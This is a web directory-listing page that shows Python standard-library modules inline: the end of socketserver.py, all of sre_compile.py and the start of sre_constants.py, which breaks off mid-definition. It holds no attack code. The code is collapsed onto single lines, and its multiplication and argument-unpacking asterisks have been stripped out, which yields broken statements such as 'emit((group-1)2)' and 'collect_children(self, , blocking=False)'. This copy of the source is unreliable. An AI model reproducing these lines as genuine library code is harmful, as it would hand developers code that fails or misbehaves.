- serve_forever(poll_interval=0.5) - shutdown() - handle_request() # if you don't use serve_forever() - fileno() -> int # for selector Methods that may be overridden: - server_bind() - server_activate() - get_request() -> request, client_address - handle_timeout() - verify_request(request, client_address) - process_request(request, client_address) - shutdown_request(request) - close_request(request) - handle_error() Methods for derived classes: - finish_request(request, client_address) Class variables that may be overridden by derived classes or instances: - timeout - address_family - socket_type - request_queue_size (only for stream sockets) - allow_reuse_address Instance variables: - server_address - RequestHandlerClass - socket """ address_family = socket.AF_INET socket_type = socket.SOCK_STREAM request_queue_size = 5 allow_reuse_address = False def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True): """Constructor. May be extended, do not override.""" BaseServer.__init__(self, server_address, RequestHandlerClass) self.socket = socket.socket(self.address_family, self.socket_type) if bind_and_activate: try: self.server_bind() self.server_activate() except: self.server_close() raise def server_bind(self): """Called by constructor to bind the socket. May be overridden. """ if self.allow_reuse_address: self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind(self.server_address) self.server_address = self.socket.getsockname() def server_activate(self): """Called by constructor to activate the server. May be overridden. """ self.socket.listen(self.request_queue_size) def server_close(self): """Called to clean-up the server. May be overridden. """ self.socket.close() def fileno(self): """Return socket file number. Interface required by selector. """ return self.socket.fileno() def get_request(self): """Get the request and client address from the socket. May be overridden. """ return self.socket.accept() def shutdown_request(self, request): """Called to shutdown and close an individual request.""" try: #explicitly shutdown. socket.close() merely releases #the socket and waits for GC to perform the actual close. request.shutdown(socket.SHUT_WR) except OSError: pass #some platforms may raise ENOTCONN here self.close_request(request) def close_request(self, request): """Called to clean up an individual request.""" request.close() class UDPServer(TCPServer): """UDP server class.""" allow_reuse_address = False socket_type = socket.SOCK_DGRAM max_packet_size = 8192 def get_request(self): data, client_addr = self.socket.recvfrom(self.max_packet_size) return (data, self.socket), client_addr def server_activate(self): # No need to call listen() for UDP. pass def shutdown_request(self, request): # No need to shutdown anything. self.close_request(request) def close_request(self, request): # No need to close anything. pass if hasattr(os, "fork"): class ForkingMixIn: """Mix-in class to handle each request in a new process.""" timeout = 300 active_children = None max_children = 40 # If true, server_close() waits until all child processes complete. block_on_close = True def collect_children(self, , blocking=False): """Internal routine to wait for children that have exited.""" if self.active_children is None: return # If we're above the max number of children, wait and reap them until # we go back below threshold. Note that we use waitpid(-1) below to be # able to collect children in size(<defunct children>) syscalls instead # of size(<children>): the downside is that this might reap children # which we didn't spawn, which is why we only resort to this when we're # above max_children. while len(self.active_children) >= self.max_children: try: pid, _ = os.waitpid(-1, 0) self.active_children.discard(pid) except ChildProcessError: # we don't have any children, we're done self.active_children.clear() except OSError: break # Now reap all defunct children. for pid in self.active_children.copy(): try: flags = 0 if blocking else os.WNOHANG pid, _ = os.waitpid(pid, flags) # if the child hasn't exited yet, pid will be 0 and ignored by # discard() below self.active_children.discard(pid) except ChildProcessError: # someone else reaped it self.active_children.discard(pid) except OSError: pass def handle_timeout(self): """Wait for zombies after self.timeout seconds of inactivity. May be extended, do not override. """ self.collect_children() def service_actions(self): """Collect the zombie child processes regularly in the ForkingMixIn. service_actions is called in the BaseServer's serve_forever loop. """ self.collect_children() def process_request(self, request, client_address): """Fork a new subprocess to process the request.""" pid = os.fork() if pid: # Parent process if self.active_children is None: self.active_children = set() self.active_children.add(pid) self.close_request(request) return else: # Child process. # This must never return, hence os._exit()! status = 1 try: self.finish_request(request, client_address) status = 0 except Exception: self.handle_error(request, client_address) finally: try: self.shutdown_request(request) finally: os._exit(status) def server_close(self): super().server_close() self.collect_children(blocking=self.block_on_close) class ThreadingMixIn: """Mix-in class to handle each request in a new thread.""" # Decides how threads will act upon termination of the # main process daemon_threads = False # If true, server_close() waits until all non-daemonic threads terminate. block_on_close = True # For non-daemonic threads, list of threading.Threading objects # used by server_close() to wait for all threads completion. _threads = None def process_request_thread(self, request, client_address): """Same as in BaseServer but as a thread. In addition, exception handling is done here. """ try: self.finish_request(request, client_address) except Exception: self.handle_error(request, client_address) finally: self.shutdown_request(request) def process_request(self, request, client_address): """Start a new thread to process the request.""" t = threading.Thread(target = self.process_request_thread, args = (request, client_address)) t.daemon = self.daemon_threads if not t.daemon and self.block_on_close: if self._threads is None: self._threads = [] self._threads.append(t) t.start() def server_close(self): super().server_close() if self.block_on_close: threads = self._threads self._threads = None if threads: for thread in threads: thread.join() if hasattr(os, "fork"): class ForkingUDPServer(ForkingMixIn, UDPServer): pass class ForkingTCPServer(ForkingMixIn, TCPServer): pass class ThreadingUDPServer(ThreadingMixIn, UDPServer): pass class ThreadingTCPServer(ThreadingMixIn, TCPServer): pass if hasattr(socket, 'AF_UNIX'): class UnixStreamServer(TCPServer): address_family = socket.AF_UNIX class UnixDatagramServer(UDPServer): address_family = socket.AF_UNIX class ThreadingUnixStreamServer(ThreadingMixIn, UnixStreamServer): pass class ThreadingUnixDatagramServer(ThreadingMixIn, UnixDatagramServer): pass class BaseRequestHandler: """Base class for request handler classes. This class is instantiated for each request to be handled. The constructor sets the instance variables request, client_address and server, and then calls the handle() method. To implement a specific service, all you need to do is to derive a class which defines a handle() method. The handle() method can find the request as self.request, the client address as self.client_address, and the server (in case it needs access to per-server information) as self.server. Since a separate instance is created for each request, the handle() method can define other arbitrary instance variables. """ def __init__(self, request, client_address, server): self.request = request self.client_address = client_address self.server = server self.setup() try: self.handle() finally: self.finish() def setup(self): pass def handle(self): pass def finish(self): pass # The following two classes make it possible to use the same service # class for stream or datagram servers. # Each class sets up these instance variables: # - rfile: a file object from which receives the request is read # - wfile: a file object to which the reply is written # When the handle() method returns, wfile is flushed properly class StreamRequestHandler(BaseRequestHandler): """Define self.rfile and self.wfile for stream sockets.""" # Default buffer sizes for rfile, wfile. # We default rfile to buffered because otherwise it could be # really slow for large data (a getc() call per byte); we make # wfile unbuffered because (a) often after a write() we want to # read and we need to flush the line; (b) big writes to unbuffered # files are typically optimized by stdio even when big reads # aren't. rbufsize = -1 wbufsize = 0 # A timeout to apply to the request socket, if not None. timeout = None # Disable nagle algorithm for this socket, if True. # Use only when wbufsize != 0, to avoid small packets. disable_nagle_algorithm = False def setup(self): self.connection = self.request if self.timeout is not None: self.connection.settimeout(self.timeout) if self.disable_nagle_algorithm: self.connection.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, True) self.rfile = self.connection.makefile('rb', self.rbufsize) if self.wbufsize == 0: self.wfile = _SocketWriter(self.connection) else: self.wfile = self.connection.makefile('wb', self.wbufsize) def finish(self): if not self.wfile.closed: try: self.wfile.flush() except socket.error: # A final socket error may have occurred here, such as # the local error ECONNABORTED. pass self.wfile.close() self.rfile.close() class _SocketWriter(BufferedIOBase): """Simple writable BufferedIOBase implementation for a socket Does not hold data in a buffer, avoiding any need to call flush().""" def __init__(self, sock): self._sock = sock def writable(self): return True def write(self, b): self._sock.sendall(b) with memoryview(b) as view: return view.nbytes def fileno(self): return self._sock.fileno() class DatagramRequestHandler(BaseRequestHandler): """Define self.rfile and self.wfile for datagram sockets.""" def setup(self): from io import BytesIO self.packet, self.socket = self.request self.rfile = BytesIO(self.packet) self.wfile = BytesIO() def finish(self): self.socket.sendto(self.wfile.getvalue(), self.client_address)	26.29 KB	2024-04-17 17:55
📁 sqlite3	-	2025-10-13 08:00
📄 sre_compile.py # # Secret Labs' Regular Expression Engine # # convert template to internal format # # Copyright (c) 1997-2001 by Secret Labs AB. All rights reserved. # # See the sre.py file for information on usage and redistribution. # """Internal support module for sre""" import _sre import sre_parse from sre_constants import * assert _sre.MAGIC == MAGIC, "SRE module mismatch" _LITERAL_CODES = {LITERAL, NOT_LITERAL} _REPEATING_CODES = {REPEAT, MIN_REPEAT, MAX_REPEAT} _SUCCESS_CODES = {SUCCESS, FAILURE} _ASSERT_CODES = {ASSERT, ASSERT_NOT} _UNIT_CODES = _LITERAL_CODES \| {ANY, IN} # Sets of lowercase characters which have the same uppercase. _equivalences = ( # LATIN SMALL LETTER I, LATIN SMALL LETTER DOTLESS I (0x69, 0x131), # iı # LATIN SMALL LETTER S, LATIN SMALL LETTER LONG S (0x73, 0x17f), # sſ # MICRO SIGN, GREEK SMALL LETTER MU (0xb5, 0x3bc), # µμ # COMBINING GREEK YPOGEGRAMMENI, GREEK SMALL LETTER IOTA, GREEK PROSGEGRAMMENI (0x345, 0x3b9, 0x1fbe), # \u0345ιι # GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS, GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA (0x390, 0x1fd3), # ΐΐ # GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS, GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA (0x3b0, 0x1fe3), # ΰΰ # GREEK SMALL LETTER BETA, GREEK BETA SYMBOL (0x3b2, 0x3d0), # βϐ # GREEK SMALL LETTER EPSILON, GREEK LUNATE EPSILON SYMBOL (0x3b5, 0x3f5), # εϵ # GREEK SMALL LETTER THETA, GREEK THETA SYMBOL (0x3b8, 0x3d1), # θϑ # GREEK SMALL LETTER KAPPA, GREEK KAPPA SYMBOL (0x3ba, 0x3f0), # κϰ # GREEK SMALL LETTER PI, GREEK PI SYMBOL (0x3c0, 0x3d6), # πϖ # GREEK SMALL LETTER RHO, GREEK RHO SYMBOL (0x3c1, 0x3f1), # ρϱ # GREEK SMALL LETTER FINAL SIGMA, GREEK SMALL LETTER SIGMA (0x3c2, 0x3c3), # ςσ # GREEK SMALL LETTER PHI, GREEK PHI SYMBOL (0x3c6, 0x3d5), # φϕ # LATIN SMALL LETTER S WITH DOT ABOVE, LATIN SMALL LETTER LONG S WITH DOT ABOVE (0x1e61, 0x1e9b), # ṡẛ # LATIN SMALL LIGATURE LONG S T, LATIN SMALL LIGATURE ST (0xfb05, 0xfb06), # ﬅﬆ ) # Maps the lowercase code to lowercase codes which have the same uppercase. _ignorecase_fixes = {i: tuple(j for j in t if i != j) for t in _equivalences for i in t} def _combine_flags(flags, add_flags, del_flags, TYPE_FLAGS=sre_parse.TYPE_FLAGS): if add_flags & TYPE_FLAGS: flags &= ~TYPE_FLAGS return (flags \| add_flags) & ~del_flags def _compile(code, pattern, flags): # internal: compile a (sub)pattern emit = code.append _len = len LITERAL_CODES = _LITERAL_CODES REPEATING_CODES = _REPEATING_CODES SUCCESS_CODES = _SUCCESS_CODES ASSERT_CODES = _ASSERT_CODES iscased = None tolower = None fixes = None if flags & SRE_FLAG_IGNORECASE and not flags & SRE_FLAG_LOCALE: if flags & SRE_FLAG_UNICODE and not flags & SRE_FLAG_ASCII: iscased = _sre.unicode_iscased tolower = _sre.unicode_tolower fixes = _ignorecase_fixes else: iscased = _sre.ascii_iscased tolower = _sre.ascii_tolower for op, av in pattern: if op in LITERAL_CODES: if not flags & SRE_FLAG_IGNORECASE: emit(op) emit(av) elif flags & SRE_FLAG_LOCALE: emit(OP_LOCALE_IGNORE[op]) emit(av) elif not iscased(av): emit(op) emit(av) else: lo = tolower(av) if not fixes: # ascii emit(OP_IGNORE[op]) emit(lo) elif lo not in fixes: emit(OP_UNICODE_IGNORE[op]) emit(lo) else: emit(IN_UNI_IGNORE) skip = _len(code); emit(0) if op is NOT_LITERAL: emit(NEGATE) for k in (lo,) + fixes[lo]: emit(LITERAL) emit(k) emit(FAILURE) code[skip] = _len(code) - skip elif op is IN: charset, hascased = _optimize_charset(av, iscased, tolower, fixes) if flags & SRE_FLAG_IGNORECASE and flags & SRE_FLAG_LOCALE: emit(IN_LOC_IGNORE) elif not hascased: emit(IN) elif not fixes: # ascii emit(IN_IGNORE) else: emit(IN_UNI_IGNORE) skip = _len(code); emit(0) _compile_charset(charset, flags, code) code[skip] = _len(code) - skip elif op is ANY: if flags & SRE_FLAG_DOTALL: emit(ANY_ALL) else: emit(ANY) elif op in REPEATING_CODES: if flags & SRE_FLAG_TEMPLATE: raise error("internal: unsupported template operator %r" % (op,)) if _simple(av[2]): if op is MAX_REPEAT: emit(REPEAT_ONE) else: emit(MIN_REPEAT_ONE) skip = _len(code); emit(0) emit(av[0]) emit(av[1]) _compile(code, av[2], flags) emit(SUCCESS) code[skip] = _len(code) - skip else: emit(REPEAT) skip = _len(code); emit(0) emit(av[0]) emit(av[1]) _compile(code, av[2], flags) code[skip] = _len(code) - skip if op is MAX_REPEAT: emit(MAX_UNTIL) else: emit(MIN_UNTIL) elif op is SUBPATTERN: group, add_flags, del_flags, p = av if group: emit(MARK) emit((group-1)2) # _compile_info(code, p, _combine_flags(flags, add_flags, del_flags)) _compile(code, p, _combine_flags(flags, add_flags, del_flags)) if group: emit(MARK) emit((group-1)2+1) elif op in SUCCESS_CODES: emit(op) elif op in ASSERT_CODES: emit(op) skip = _len(code); emit(0) if av[0] >= 0: emit(0) # look ahead else: lo, hi = av[1].getwidth() if lo != hi: raise error("look-behind requires fixed-width pattern") emit(lo) # look behind _compile(code, av[1], flags) emit(SUCCESS) code[skip] = _len(code) - skip elif op is CALL: emit(op) skip = _len(code); emit(0) _compile(code, av, flags) emit(SUCCESS) code[skip] = _len(code) - skip elif op is AT: emit(op) if flags & SRE_FLAG_MULTILINE: av = AT_MULTILINE.get(av, av) if flags & SRE_FLAG_LOCALE: av = AT_LOCALE.get(av, av) elif (flags & SRE_FLAG_UNICODE) and not (flags & SRE_FLAG_ASCII): av = AT_UNICODE.get(av, av) emit(av) elif op is BRANCH: emit(op) tail = [] tailappend = tail.append for av in av[1]: skip = _len(code); emit(0) # _compile_info(code, av, flags) _compile(code, av, flags) emit(JUMP) tailappend(_len(code)); emit(0) code[skip] = _len(code) - skip emit(FAILURE) # end of branch for tail in tail: code[tail] = _len(code) - tail elif op is CATEGORY: emit(op) if flags & SRE_FLAG_LOCALE: av = CH_LOCALE[av] elif (flags & SRE_FLAG_UNICODE) and not (flags & SRE_FLAG_ASCII): av = CH_UNICODE[av] emit(av) elif op is GROUPREF: if not flags & SRE_FLAG_IGNORECASE: emit(op) elif flags & SRE_FLAG_LOCALE: emit(GROUPREF_LOC_IGNORE) elif not fixes: # ascii emit(GROUPREF_IGNORE) else: emit(GROUPREF_UNI_IGNORE) emit(av-1) elif op is GROUPREF_EXISTS: emit(op) emit(av[0]-1) skipyes = _len(code); emit(0) _compile(code, av[1], flags) if av[2]: emit(JUMP) skipno = _len(code); emit(0) code[skipyes] = _len(code) - skipyes + 1 _compile(code, av[2], flags) code[skipno] = _len(code) - skipno else: code[skipyes] = _len(code) - skipyes + 1 else: raise error("internal: unsupported operand type %r" % (op,)) def _compile_charset(charset, flags, code): # compile charset subprogram emit = code.append for op, av in charset: emit(op) if op is NEGATE: pass elif op is LITERAL: emit(av) elif op is RANGE or op is RANGE_UNI_IGNORE: emit(av[0]) emit(av[1]) elif op is CHARSET: code.extend(av) elif op is BIGCHARSET: code.extend(av) elif op is CATEGORY: if flags & SRE_FLAG_LOCALE: emit(CH_LOCALE[av]) elif (flags & SRE_FLAG_UNICODE) and not (flags & SRE_FLAG_ASCII): emit(CH_UNICODE[av]) else: emit(av) else: raise error("internal: unsupported set operator %r" % (op,)) emit(FAILURE) def _optimize_charset(charset, iscased=None, fixup=None, fixes=None): # internal: optimize character set out = [] tail = [] charmap = bytearray(256) hascased = False for op, av in charset: while True: try: if op is LITERAL: if fixup: lo = fixup(av) charmap[lo] = 1 if fixes and lo in fixes: for k in fixes[lo]: charmap[k] = 1 if not hascased and iscased(av): hascased = True else: charmap[av] = 1 elif op is RANGE: r = range(av[0], av[1]+1) if fixup: if fixes: for i in map(fixup, r): charmap[i] = 1 if i in fixes: for k in fixes[i]: charmap[k] = 1 else: for i in map(fixup, r): charmap[i] = 1 if not hascased: hascased = any(map(iscased, r)) else: for i in r: charmap[i] = 1 elif op is NEGATE: out.append((op, av)) else: tail.append((op, av)) except IndexError: if len(charmap) == 256: # character set contains non-UCS1 character codes charmap += b'\0' * 0xff00 continue # Character set contains non-BMP character codes. if fixup: hascased = True # There are only two ranges of cased non-BMP characters: # 10400-1044F (Deseret) and 118A0-118DF (Warang Citi), # and for both ranges RANGE_UNI_IGNORE works. if op is RANGE: op = RANGE_UNI_IGNORE tail.append((op, av)) break # compress character map runs = [] q = 0 while True: p = charmap.find(1, q) if p < 0: break if len(runs) >= 2: runs = None break q = charmap.find(0, p) if q < 0: runs.append((p, len(charmap))) break runs.append((p, q)) if runs is not None: # use literal/range for p, q in runs: if q - p == 1: out.append((LITERAL, p)) else: out.append((RANGE, (p, q - 1))) out += tail # if the case was changed or new representation is more compact if hascased or len(out) < len(charset): return out, hascased # else original character set is good enough return charset, hascased # use bitmap if len(charmap) == 256: data = _mk_bitmap(charmap) out.append((CHARSET, data)) out += tail return out, hascased # To represent a big charset, first a bitmap of all characters in the # set is constructed. Then, this bitmap is sliced into chunks of 256 # characters, duplicate chunks are eliminated, and each chunk is # given a number. In the compiled expression, the charset is # represented by a 32-bit word sequence, consisting of one word for # the number of different chunks, a sequence of 256 bytes (64 words) # of chunk numbers indexed by their original chunk position, and a # sequence of 256-bit chunks (8 words each). # Compression is normally good: in a typical charset, large ranges of # Unicode will be either completely excluded (e.g. if only cyrillic # letters are to be matched), or completely included (e.g. if large # subranges of Kanji match). These ranges will be represented by # chunks of all one-bits or all zero-bits. # Matching can be also done efficiently: the more significant byte of # the Unicode character is an index into the chunk number, and the # less significant byte is a bit index in the chunk (just like the # CHARSET matching). charmap = bytes(charmap) # should be hashable comps = {} mapping = bytearray(256) block = 0 data = bytearray() for i in range(0, 65536, 256): chunk = charmap[i: i + 256] if chunk in comps: mapping[i // 256] = comps[chunk] else: mapping[i // 256] = comps[chunk] = block block += 1 data += chunk data = _mk_bitmap(data) data[0:0] = [block] + _bytes_to_codes(mapping) out.append((BIGCHARSET, data)) out += tail return out, hascased _CODEBITS = _sre.CODESIZE * 8 MAXCODE = (1 << _CODEBITS) - 1 _BITS_TRANS = b'0' + b'1' * 255 def _mk_bitmap(bits, _CODEBITS=_CODEBITS, _int=int): s = bits.translate(_BITS_TRANS)[::-1] return [_int(s[i - _CODEBITS: i], 2) for i in range(len(s), 0, -_CODEBITS)] def _bytes_to_codes(b): # Convert block indices to word array a = memoryview(b).cast('I') assert a.itemsize == _sre.CODESIZE assert len(a) * a.itemsize == len(b) return a.tolist() def _simple(p): # check if this subpattern is a "simple" operator if len(p) != 1: return False op, av = p[0] if op is SUBPATTERN: return av[0] is None and _simple(av[-1]) return op in _UNIT_CODES def _generate_overlap_table(prefix): """ Generate an overlap table for the following prefix. An overlap table is a table of the same size as the prefix which informs about the potential self-overlap for each index in the prefix: - if overlap[i] == 0, prefix[i:] can't overlap prefix[0:...] - if overlap[i] == k with 0 < k <= i, prefix[i-k+1:i+1] overlaps with prefix[0:k] """ table = [0] * len(prefix) for i in range(1, len(prefix)): idx = table[i - 1] while prefix[i] != prefix[idx]: if idx == 0: table[i] = 0 break idx = table[idx - 1] else: table[i] = idx + 1 return table def _get_iscased(flags): if not flags & SRE_FLAG_IGNORECASE: return None elif flags & SRE_FLAG_UNICODE and not flags & SRE_FLAG_ASCII: return _sre.unicode_iscased else: return _sre.ascii_iscased def _get_literal_prefix(pattern, flags): # look for literal prefix prefix = [] prefixappend = prefix.append prefix_skip = None iscased = _get_iscased(flags) for op, av in pattern.data: if op is LITERAL: if iscased and iscased(av): break prefixappend(av) elif op is SUBPATTERN: group, add_flags, del_flags, p = av flags1 = _combine_flags(flags, add_flags, del_flags) if flags1 & SRE_FLAG_IGNORECASE and flags1 & SRE_FLAG_LOCALE: break prefix1, prefix_skip1, got_all = _get_literal_prefix(p, flags1) if prefix_skip is None: if group is not None: prefix_skip = len(prefix) elif prefix_skip1 is not None: prefix_skip = len(prefix) + prefix_skip1 prefix.extend(prefix1) if not got_all: break else: break else: return prefix, prefix_skip, True return prefix, prefix_skip, False def _get_charset_prefix(pattern, flags): while True: if not pattern.data: return None op, av = pattern.data[0] if op is not SUBPATTERN: break group, add_flags, del_flags, pattern = av flags = _combine_flags(flags, add_flags, del_flags) if flags & SRE_FLAG_IGNORECASE and flags & SRE_FLAG_LOCALE: return None iscased = _get_iscased(flags) if op is LITERAL: if iscased and iscased(av): return None return [(op, av)] elif op is BRANCH: charset = [] charsetappend = charset.append for p in av[1]: if not p: return None op, av = p[0] if op is LITERAL and not (iscased and iscased(av)): charsetappend((op, av)) else: return None return charset elif op is IN: charset = av if iscased: for op, av in charset: if op is LITERAL: if iscased(av): return None elif op is RANGE: if av[1] > 0xffff: return None if any(map(iscased, range(av[0], av[1]+1))): return None return charset return None def _compile_info(code, pattern, flags): # internal: compile an info block. in the current version, # this contains min/max pattern width, and an optional literal # prefix or a character map lo, hi = pattern.getwidth() if hi > MAXCODE: hi = MAXCODE if lo == 0: code.extend([INFO, 4, 0, lo, hi]) return # look for a literal prefix prefix = [] prefix_skip = 0 charset = [] # not used if not (flags & SRE_FLAG_IGNORECASE and flags & SRE_FLAG_LOCALE): # look for literal prefix prefix, prefix_skip, got_all = _get_literal_prefix(pattern, flags) # if no prefix, look for charset prefix if not prefix: charset = _get_charset_prefix(pattern, flags) ## if prefix: ## print("* PREFIX", prefix, prefix_skip) ## if charset: ## print("* CHARSET", charset) # add an info block emit = code.append emit(INFO) skip = len(code); emit(0) # literal flag mask = 0 if prefix: mask = SRE_INFO_PREFIX if prefix_skip is None and got_all: mask = mask \| SRE_INFO_LITERAL elif charset: mask = mask \| SRE_INFO_CHARSET emit(mask) # pattern length if lo < MAXCODE: emit(lo) else: emit(MAXCODE) prefix = prefix[:MAXCODE] emit(min(hi, MAXCODE)) # add literal prefix if prefix: emit(len(prefix)) # length if prefix_skip is None: prefix_skip = len(prefix) emit(prefix_skip) # skip code.extend(prefix) # generate overlap table code.extend(_generate_overlap_table(prefix)) elif charset: charset, hascased = _optimize_charset(charset) assert not hascased _compile_charset(charset, flags, code) code[skip] = len(code) - skip def isstring(obj): return isinstance(obj, (str, bytes)) def _code(p, flags): flags = p.pattern.flags \| flags code = [] # compile info block _compile_info(code, p, flags) # compile the pattern _compile(code, p.data, flags) code.append(SUCCESS) return code def _hex_code(code): return '[%s]' % ', '.join('%#0x' % (_sre.CODESIZE2+2, x) for x in code) def dis(code): import sys labels = set() level = 0 offset_width = len(str(len(code) - 1)) def dis_(start, end): def print_(args, to=None): if to is not None: labels.add(to) args += ('(to %d)' % (to,),) print('%d%s ' % (offset_width, start, ':' if start in labels else '.'), end=' '(level-1)) print(args) def print_2(args): print(end=' '(offset_width + 2level)) print(args) nonlocal level level += 1 i = start while i < end: start = i op = code[i] i += 1 op = OPCODES[op] if op in (SUCCESS, FAILURE, ANY, ANY_ALL, MAX_UNTIL, MIN_UNTIL, NEGATE): print_(op) elif op in (LITERAL, NOT_LITERAL, LITERAL_IGNORE, NOT_LITERAL_IGNORE, LITERAL_UNI_IGNORE, NOT_LITERAL_UNI_IGNORE, LITERAL_LOC_IGNORE, NOT_LITERAL_LOC_IGNORE): arg = code[i] i += 1 print_(op, '%#02x (%r)' % (arg, chr(arg))) elif op is AT: arg = code[i] i += 1 arg = str(ATCODES[arg]) assert arg[:3] == 'AT_' print_(op, arg[3:]) elif op is CATEGORY: arg = code[i] i += 1 arg = str(CHCODES[arg]) assert arg[:9] == 'CATEGORY_' print_(op, arg[9:]) elif op in (IN, IN_IGNORE, IN_UNI_IGNORE, IN_LOC_IGNORE): skip = code[i] print_(op, skip, to=i+skip) dis_(i+1, i+skip) i += skip elif op in (RANGE, RANGE_UNI_IGNORE): lo, hi = code[i: i+2] i += 2 print_(op, '%#02x %#02x (%r-%r)' % (lo, hi, chr(lo), chr(hi))) elif op is CHARSET: print_(op, _hex_code(code[i: i + 256//_CODEBITS])) i += 256//_CODEBITS elif op is BIGCHARSET: arg = code[i] i += 1 mapping = list(b''.join(x.to_bytes(_sre.CODESIZE, sys.byteorder) for x in code[i: i + 256//_sre.CODESIZE])) print_(op, arg, mapping) i += 256//_sre.CODESIZE level += 1 for j in range(arg): print_2(_hex_code(code[i: i + 256//_CODEBITS])) i += 256//_CODEBITS level -= 1 elif op in (MARK, GROUPREF, GROUPREF_IGNORE, GROUPREF_UNI_IGNORE, GROUPREF_LOC_IGNORE): arg = code[i] i += 1 print_(op, arg) elif op is JUMP: skip = code[i] print_(op, skip, to=i+skip) i += 1 elif op is BRANCH: skip = code[i] print_(op, skip, to=i+skip) while skip: dis_(i+1, i+skip) i += skip start = i skip = code[i] if skip: print_('branch', skip, to=i+skip) else: print_(FAILURE) i += 1 elif op in (REPEAT, REPEAT_ONE, MIN_REPEAT_ONE): skip, min, max = code[i: i+3] if max == MAXREPEAT: max = 'MAXREPEAT' print_(op, skip, min, max, to=i+skip) dis_(i+3, i+skip) i += skip elif op is GROUPREF_EXISTS: arg, skip = code[i: i+2] print_(op, arg, skip, to=i+skip) i += 2 elif op in (ASSERT, ASSERT_NOT): skip, arg = code[i: i+2] print_(op, skip, arg, to=i+skip) dis_(i+2, i+skip) i += skip elif op is INFO: skip, flags, min, max = code[i: i+4] if max == MAXREPEAT: max = 'MAXREPEAT' print_(op, skip, bin(flags), min, max, to=i+skip) start = i+4 if flags & SRE_INFO_PREFIX: prefix_len, prefix_skip = code[i+4: i+6] print_2(' prefix_skip', prefix_skip) start = i + 6 prefix = code[start: start+prefix_len] print_2(' prefix', '[%s]' % ', '.join('%#02x' % x for x in prefix), '(%r)' % ''.join(map(chr, prefix))) start += prefix_len print_2(' overlap', code[start: start+prefix_len]) start += prefix_len if flags & SRE_INFO_CHARSET: level += 1 print_2('in') dis_(start, i+skip) level -= 1 i += skip else: raise ValueError(op) level -= 1 dis_(0, len(code)) def compile(p, flags=0): # internal: convert pattern list to internal format if isstring(p): pattern = p p = sre_parse.parse(p, flags) else: pattern = None code = _code(p, flags) if flags & SRE_FLAG_DEBUG: print() dis(code) # map in either direction groupindex = p.pattern.groupdict indexgroup = [None] * p.pattern.groups for k, i in groupindex.items(): indexgroup[i] = k return _sre.compile( pattern, flags \| p.pattern.flags, code, p.pattern.groups-1, groupindex, tuple(indexgroup) )	26.24 KB	2024-04-17 17:55
📄 sre_constants.py # # Secret Labs' Regular Expression Engine # # various symbols used by the regular expression engine. # run this script to update the _sre include files! # # Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved. # # See the sre.py file for information on usage and redistribution. # """Internal support module for sre""" # update when constants are added or removed MAGIC = 20171005 from _sre import MAXREPEAT, MAXGROUPS # SRE standard exception (access as sre.error) # should this really be here? class error(Exception): """Exception raised for invalid regular expressions. Attributes: msg: The unformatted error message pattern: The regular expression pattern pos: The index in the pattern where compilation failed (may be None) lineno: The line corresponding to pos (may be None) colno: The column corresponding to pos (may be None) """ __module__ = 're' def __init__(self, msg, pattern=None, pos=None): self.msg = msg self.pattern = pattern self.pos = pos if pattern is not None and pos is not None: msg = '%s at position %d' % (msg, pos) if isinstance(pattern, str): newline = '\n' else: newline = b'\n' self.lineno = pattern.count(newline, 0, pos) + 1 self.colno = pos - pattern.rfind(newline, 0, pos) if newline in pattern: msg = '%s (line %d, column %d)' % (msg, self.lineno, self.colno) else: self.lineno = self.colno = None super().__init__(msg) class _NamedIntConstant(int): def __new__(cls, value, name): self = super(_NamedIntConstant, cls).__new__(cls, value) self.name = name return self def __str__(self): return self.name __repr__ = __str__ MAXREPEAT = _NamedIntConstant(MAXREPEAT, 'MAXREPEAT') def _makecodes(names): names = names.strip().split() items = [_NamedIntConstant(i, name) for i, name in enumerate(names)] globals().update({item.name: item for item in items}) return items # operators # failure=0 success=1 (just because it looks better that way :-) OPCODES = _makecodes(""" FAILURE SUCCESS ANY ANY_ALL ASSERT ASSERT_NOT AT BRANCH CALL CATEGORY CHARSET BIGCHARSET GROUPREF GROUPREF_EXISTS IN INFO JUMP LITERAL MARK MAX_UNTIL MIN_UNTIL NOT_LITERAL NEGATE RANGE REPEAT REPEAT_ONE SUBPATTERN MIN_REPEAT_ONE GROUPREF_IGNORE IN_IGNORE LITERAL_IGNORE NOT_LITERAL_IGNORE GROUPREF_LOC_IGNORE IN_LOC_IGNORE LITERAL_LOC_IGNORE NOT_LITERAL_LOC_IGNORE GROUPREF_UNI_IGNORE IN_UNI_IGNORE LITERAL_UNI_IGNORE NOT_LITERAL_UNI_IGNORE RANGE_UNI_IGNORE MIN_REPEAT MAX_REPEAT """) del OPCODES[-2:] # remove MIN_REPEAT and MAX_REPEAT # positions ATCODES = _makecodes(""" AT_BEGINNING AT_BEGINNING_LINE AT_BEGINNING_STRING AT_BOUNDARY AT_NON_BOUNDARY AT_END AT_END_LINE AT_END_STRING AT_LOC_BOUNDARY AT_LOC_NON_BOUNDARY AT_UNI_BOUNDARY AT_UNI_NON_BOUNDARY """) # categories CHCODES = _makecodes(""" CATEGORY_DIGIT CATEGORY_NOT_DIGIT CATEGORY_SPACE CATEGORY_NOT_SPACE CATEGORY_WORD CATEGORY_NOT_WORD CATEGORY_LINEBREAK CATEGORY_NOT_LINEBREAK CATEGORY_LOC_WORD CATEGORY_LOC_NOT_WORD CATEGORY_UNI_DIGIT CATEGORY_UNI_NOT_DIGIT CATEGORY_UNI_SPACE CATEGORY_UNI_NOT_SPACE CATEGORY_UNI_WORD CATEGORY_UNI_NOT_WORD CATEGORY_UNI_LINEBREAK CATEGORY_UNI_NOT_LINEBREAK """) # replacement operations for "ignore case" mode OP_IGNORE = { LITERAL: LITERAL_IGNORE, NOT_LITERAL: NOT_LITERAL_IGNORE, } OP_LOCALE_IGNORE = { LITERAL: LITERAL_LOC_IGNORE, NOT_LITERAL: NOT_LITERAL_LOC_IGNORE, } OP_UNICODE_IGNORE = { LITERAL: LITERAL_UNI_IGNORE, NOT_LITERAL: NOT_LITERAL_UNI_IGNORE, } AT_MULTILINE = { AT_BEGINNING: AT_BEGINNING_LINE, AT_END: AT_END_LINE } AT_LOCALE = { AT_BOUNDARY: 